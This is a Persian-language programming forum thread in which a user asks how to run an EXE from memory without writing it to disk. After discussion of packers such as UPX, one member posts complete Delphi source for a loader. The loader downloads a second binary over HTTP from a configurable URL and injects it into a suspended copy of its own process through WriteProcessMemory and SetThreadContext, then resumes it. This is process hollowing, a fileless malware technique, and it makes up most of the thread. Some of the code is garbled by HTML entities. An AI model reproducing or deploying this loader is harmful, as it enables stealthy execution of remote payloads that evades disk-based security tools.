نمایش نتایج 1 تا 15 از 15

نام تاپیک: EXE تو EXE

  1. #1
    کاربر دائمی آواتار Hamid_PaK
    تاریخ عضویت
    تیر 1384
    محل زندگی
    تهران
    پست
    1,125

    Tick EXE تو EXE

    کسی میدونه چطوری میشه یه EXE رو توی یه EXE دیگه اجراش کرد بدونه اینکه جایی روی هارد بازشه ؟؟؟

  2. #2
    کاربر دائمی آواتار Delphi_Developer
    تاریخ عضویت
    فروردین 1384
    محل زندگی
    شیراز
    سن
    34
    پست
    331
    یعنی یه EXE توی یه فایل Embed شده حالا میخوای اون رو اجرا کنی ؟

  3. #3
    کاربر دائمی آواتار Hamid_PaK
    تاریخ عضویت
    تیر 1384
    محل زندگی
    تهران
    پست
    1,125
    نمیدونم ولی فکر میکنم که اگه Embed بشه باید حتما یه جا با شه !
    فکر میکنم جواب توی این برنامه های EXE Compressor هست چطوری Exe رو Pack کرده بعد بازش می کنن ؟؟؟

  4. #4
    کاربر دائمی آواتار Hamid_PaK
    تاریخ عضویت
    تیر 1384
    محل زندگی
    تهران
    پست
    1,125
    یه چیزه دیگه کسی میدونه UPX چطوری کار میکنه ؟؟؟

  5. #5
    کاربر دائمی آواتار Delphi_Developer
    تاریخ عضویت
    فروردین 1384
    محل زندگی
    شیراز
    سن
    34
    پست
    331
    نمیدونم ولی فکر میکنم که اگه Embed بشه باید حتما یه جا با شه !
    یعنی چی یه جا باشه ؟ یعنی اون فایلی که Embed میشه داره از یه جای دیگه Load میکنه ؟ نه بابا تو خود EXE هست .
    فکر میکنم جواب توی این برنامه های EXE Compressor هست چطوری Exe رو Pack کرده بعد بازش می کنن ؟؟؟
    Compressor ها فقط کارشون کم کردن حجم برنامه هست و کاری به این ندارن که شما توی فایلت چی Embed کردی - و در مورد Pack --- اون که چجوری برنامه ها از حالت Pack در میارن یا همون Unpack مخالف قوانین سایت هست و من نمیتونم اینجا مطرحش کنم . :sorry:

    یه چیزه دیگه کسی میدونه UPX چطوری کار میکنه ؟؟؟
    UPX یکی از معروفترین Compressor ها هست و برای استفاده از اون شما Command Prompt رو باز میکنی بعد وارد Directory که UPX اونجاست میشی بعد تایپ میکنی :

    UPX Filename

    جای Filename باید آدرس فایلی که میخوای Compress کنی رو بنویسی - البته برای این که کارت راحت تر بشه میتونی فایلت رو داخل دایرکتوری UPX کپی کنی بعد دیگه جای Filenaem فقط اسم فایلت رو بدی و یه راه آسون تر دیگه هم داری . بعد از اینکه فایلت رو تو دایرکتوری UPX کپی کردی کنارش یه فایل .BAT بسازی بعد توی اون کد رو قرار بدی بعد اون رو اجرا کنی و UPX شروع به Compress کردن میکنه .
    موفق باشی.

  6. #6
    کاربر دائمی آواتار Delphi_Developer
    تاریخ عضویت
    فروردین 1384
    محل زندگی
    شیراز
    سن
    34
    پست
    331
    اون که چجوری برنامه ها از حالت Pack در میارن یا همون Unpack مخالف قوانین سایت هست و من نمیتونم اینجا مطرحش کنم .
    فکر کنم من منظورت رو اشتباه فهمیدم --- جئابت میشه همونی که در آخر گفتم :sunglass:

  7. #7
    کاربر دائمی آواتار Hamid_PaK
    تاریخ عضویت
    تیر 1384
    محل زندگی
    تهران
    پست
    1,125
    فکر میکنم بازم اشتباهی شده منظورم این بود که اگه یه فایلی Embed شده باشه شما چطوری می خواهید اون رو اجرا کنید مگه Stream رو هم میشه Run کرد ؟؟؟؟؟

    و در مورد مواردی که در این سایت غیر قانونی است نمیشه یه جای دیگه در مورد اونا بحس کنیم :oops:

  8. #8
    کاربر دائمی آواتار Delphi_Developer
    تاریخ عضویت
    فروردین 1384
    محل زندگی
    شیراز
    سن
    34
    پست
    331
    فکر میکنم بازم اشتباهی شده منظورم این بود که اگه یه فایلی Embed شده باشه شما چطوری می خواهید اون رو اجرا کنید مگه Stream رو هم میشه Run کرد ؟؟؟؟؟
    نه بابا - اونایی رو که توی یه فایل EXE جاش میدن همون فایل EXE هستش که اگه با یه Hex Viewer بازشون کنی اینو متوجه میشی و زمانی که برنامه به اون فایل نیاز داره اون رو به صورت یه فایل Extract میکنه مه یه جورایی فرقی با کپی کردن نداره بعد اون رو Run میکنه .
    و در مورد مواردی که در این سایت غیر قانونی است نمیشه یه جای دیگه در مورد اونا بحس کنیم
    میتونی به طرف ایمیل بزنی . :sunglass:

  9. #9
    کاربر دائمی آواتار Hamid_PaK
    تاریخ عضویت
    تیر 1384
    محل زندگی
    تهران
    پست
    1,125
    Delphi_Developer از شما ممنونم که سوالات من رو پاسخ میدین . . .
    از اول شروع می کنم و تصحیح می کنم آیا میشه یک EXE رو از طریق ُStream یا روشی مشابه Run کرد بدون اینکه جایی روی هارد باز شه ؟؟؟؟؟

  10. #10
    بنیان گذار Barnamenevis آواتار مهدی کرامتی
    تاریخ عضویت
    اسفند 1381
    محل زندگی
    کرج، گلشهر
    سن
    46
    پست
    6,379
    ببین عزیز، کاری که میخوای انجام بدی به این آسونی ها نیست.

    برای انجام چنین کاری باید بخشهای مورد نیاز Exe مورد نظر رو استخراج کرده و در حافظه قرار بدی، سپس Instruction Pointer رو بر روی آدرس شروع برنامه (OEP) قرار بدی.

    اگر اطلاعات بیشتر میخوای سورس UPX رو مطالعه کن.

  11. #11
    کاربر دائمی آواتار Hamid_PaK
    تاریخ عضویت
    تیر 1384
    محل زندگی
    تهران
    پست
    1,125
    DelphiAssistant ممنونم :flower:
    می دونم که کاره ساده ای نیست اما یکروز انجامش می دم !!!

  12. #12
    از اول شروع می کنم و تصحیح می کنم آیا میشه یک EXE رو از طریق ُStream یا روشی مشابه Run کرد بدون اینکه جایی روی هارد باز شه ؟؟؟؟؟
    بله . کد ذیل رو که قبلا" هم یکبار به درخواست دوست دیگری منتشر کرده بودم برای چنین منظوری نوشته ام ، برنامه اصلی ات کد باینری دوم رو از طریق وب دریافت میکنه و بلافاصله روی حافظه اجراش میکنه ؛ هیچ Disk Image ای وجود نخواهد داشت ؛ اگر مایل بودی میتونی کد رو مطابق میلت تغییر بدی تا بجای دریافت از سوکت ، از یک فایل ریسورس ، باینری دوم رو بگیره . تا وقتی منفعت تجاری از این کد عاید کسی نشه ، استفاده و انتشار مجدد اون بلا مانعه

    program InpyRecfW;

    {$IMAGEBASE $10000000}

    uses
    Windows, SocketUnit;

    type
    TSections = array [0..0] of TImageSectionHeader;

    var
    Target: pchar = #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0 #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0 #0#0#0#0#0#0#0#0#0#0#0#0;
    Output: pointer;
    OutputLength: dword;

    function ExtractURLSite(FileName: string): string;
    begin
    Result := Copy(FileName, 1, Pos('/', FileName) - 1);
    end;

    function ExtractURLPath(FileName: string): string;
    begin
    Result := Copy(FileName, Pos('/', FileName), Length(FileName) - Pos('/', FileName) + 1);
    end;

    function Split(Input: string; Deliminator: string; Index: integer): string;
    var
    StringLoop, StringCount: integer;
    Buffer: string;
    begin
    Buffer := '';
    if Index < 1 then Exit;
    StringCount := 0;
    StringLoop := 1;
    while (StringLoop <= Length(Input)) do
    begin
    if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
    begin
    Inc(StringLoop, Length(Deliminator) - 1);
    Inc(StringCount);
    if StringCount = Index then
    begin
    Result := Buffer;
    Exit;
    end
    else
    begin
    Buffer := '';
    end;
    end
    else
    begin
    Buffer := Buffer + Copy(Input, StringLoop, 1);
    end;
    Inc(StringLoop, 1);
    end;
    Inc(StringCount);
    if StringCount < Index then Buffer := '';
    Result := Buffer;
    end;

    procedure GetURL(Address: string);
    var
    HTTP: TClientSocket;
    Data: pointer;
    Buffer: pointer;
    BufferLength: dword;
    BufferUsed: dword;
    Bytes: dword;
    Header: string;
    Site: string;
    URL: string;
    Location: string;
    begin
    Location := Split(Address, '://', 2);
    Site := ExtractURLSite(Location);
    URL := ExtractURLPath(Location);
    GetMem(Buffer, 1024);
    try
    BufferLength := 1024;
    BufferUsed := 0;;
    HTTP := TClientSocket.Create;
    HTTP.Connect(Site, 80);
    HTTP.SendString('GET ' + URL + ' HTTP/1.1' + #13#10 + 'Host: ' + Site + #13#10 + 'Connection: close' + #13#10#13#10);
    HTTP.Idle(0);
    while HTTP.Connected do
    begin
    if BufferLength - BufferUsed < 1024 then
    begin
    Inc(BufferLength, 1024);
    ReallocMem(Buffer, BufferLength);
    end;
    Bytes := HTTP.ReceiveBuffer(pointer(dword(Buffe r) + BufferUsed)^, 1024);
    if Bytes > 0 then
    begin
    Inc(BufferUsed, Bytes);
    end;
    end;
    Header := Copy(string(Buffer), 1, Pos(#13#10#13#10, string(Buffer)) + 3);
    OutputLength := BufferUsed - dword(Length(Header));
    Data := pointer(dword(Buffer) + dword(Length(Header)));
    GetMem(Output, OutputLength);
    Move(Data^, Output^, OutputLength);
    finally
    FreeMem(Buffer);
    end;
    end;

    function GetAlignedSize(Size: dword; Alignment: dword): dword;
    begin
    if ((Size mod Alignment) = 0) then
    begin
    Result := Size;
    end
    else
    begin
    Result := ((Size div Alignment) + 1) * Alignment;
    end;
    end;

    function ImageSize(Image: pointer): dword;
    var
    Alignment: dword;
    ImageNtHeaders: PImageNtHeaders;
    PSections: ^TSections;
    SectionLoop: dword;
    begin
    ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew&# 41;);
    Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
    if ((ImageNtHeaders.OptionalHeader.SizeOfHead ers mod Alignment) = 0) then
    begin
    Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
    end
    else
    begin
    Result := ((ImageNtHeaders.OptionalHeader.SizeOfHead ers div Alignment) + 1) * Alignment;
    end;
    PSections := pointer(pchar(@(ImageNtHeaders.Optiona lHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader&#41 ;;
    for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
    begin
    if PSections[SectionLoop].Misc.VirtualSize <> 0 then
    begin
    if ((PSections[SectionLoop].Misc.Virt ualSize mod Alignment) = 0) then
    begin
    Result := Result + PSections[SectionLoop].Misc.VirtualSize;
    end
    else
    begin
    Result := Result + (((PSections[SectionLoop].Misc .VirtualSize div Alignment) + 1) * Alignment);
    end;
    end;
    end;
    end;

    procedure CreateProcessEx(FileMemory: pointer);
    var
    BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword;
    Context: TContext;
    FileData: pointer;
    ImageNtHeaders: PImageNtHeaders;
    InjectMemory: pointer;
    ProcInfo: TProcessInformation;
    PSections: ^TSections;
    StartInfo: TStartupInfo;
    begin
    ImageNtHeaders := pointer(dword(dword(FileMemory)&#4 1; + dword(PImageDosHeader(FileMemory)._lfa new));
    InjectSize := ImageSize(FileMemory);
    GetMem(InjectMemory, InjectSize);
    try
    FileData := InjectMemory;
    HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
    PSections := pointer(pchar(@(ImageNtHeaders.Optiona lHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader&#41 ;;
    for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
    begin
    if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
    end;
    CopyMemory(FileData, FileMemory, HeaderSize);
    FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.S izeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment&#41 ;);
    for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
    begin
    if PSections[SectionLoop].SizeOfRawData > 0 then
    begin
    SectionSize := PSections[SectionLoop].SizeOfRawData;
    if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
    CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData&#4 1;, SectionSize);
    FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop]. Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment&#41 ;);
    end
    else
    begin
    if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop]. Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment&#41 ;);
    end;
    end;
    ZeroMemory(@StartInfo, SizeOf(StartupInfo));
    ZeroMemory(@Context, SizeOf(TContext));
    CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
    Context.ContextFlags := CONTEXT_FULL;
    GetThreadContext(ProcInfo.hThread, Context);
    ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
    VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBas e), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBas e), InjectMemory, InjectSize, Bytes);
    WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
    Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(ProcInfo.hThread, Context);
    ResumeThread(ProcInfo.hThread);
    finally
    FreeMemory(InjectMemory);
    end;
    end;

    begin
    GetURL(Target);
    CreateProcessEx(Output);
    end.


    1-لطفا" اگر چیزی در مورد Win32 API Programming نمیدونی در مورد نحوهء عملکردش ازم سوال نکن ؛‌( برای شروع میتونی مقالهء Process Injection و کدی که برای نمایش عملکردش تو بخش امنیت نرم افزار نوشته ام استفاده کنی )

    2- یونیت سوکت رو برای کاهش حجم کد نهائی ، خودم نوشتم ، مبتنی بر WinSock2 ، قاعدتا" این کد به درد کسانی خواهد خورد که از پس اعمال تغییرات لازمه بر میان .
    موفق باشی
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  13. #13
    کاربر دائمی آواتار Delphi_Developer
    تاریخ عضویت
    فروردین 1384
    محل زندگی
    شیراز
    سن
    34
    پست
    331
    آقای Inprise با تشکر و یه سوال :
    من هنوز کد رو امتحان نکردم --- ببینیم با این کد میشه محتویات یه فایل EXE رو تغییر داد ؟

  14. #14
    اگر منظور باینری دومی است که قراره فقط روی حافظه زندگی کنه : بله ؛
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  15. #15
    کاربر دائمی آواتار Hamid_PaK
    تاریخ عضویت
    تیر 1384
    محل زندگی
    تهران
    پست
    1,125
    آقای Inprise من جدا از شما تشکر می کنم :flower:

    کد جالب و جامعی است . :D

    در انتها جا داره من از آقای کرامتی (DelphiAssistant) نیز تشکر کنم.
    (اشتباه من بود در اضافه شدن یک تاپیک تکراری)

برچسب های این تاپیک

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •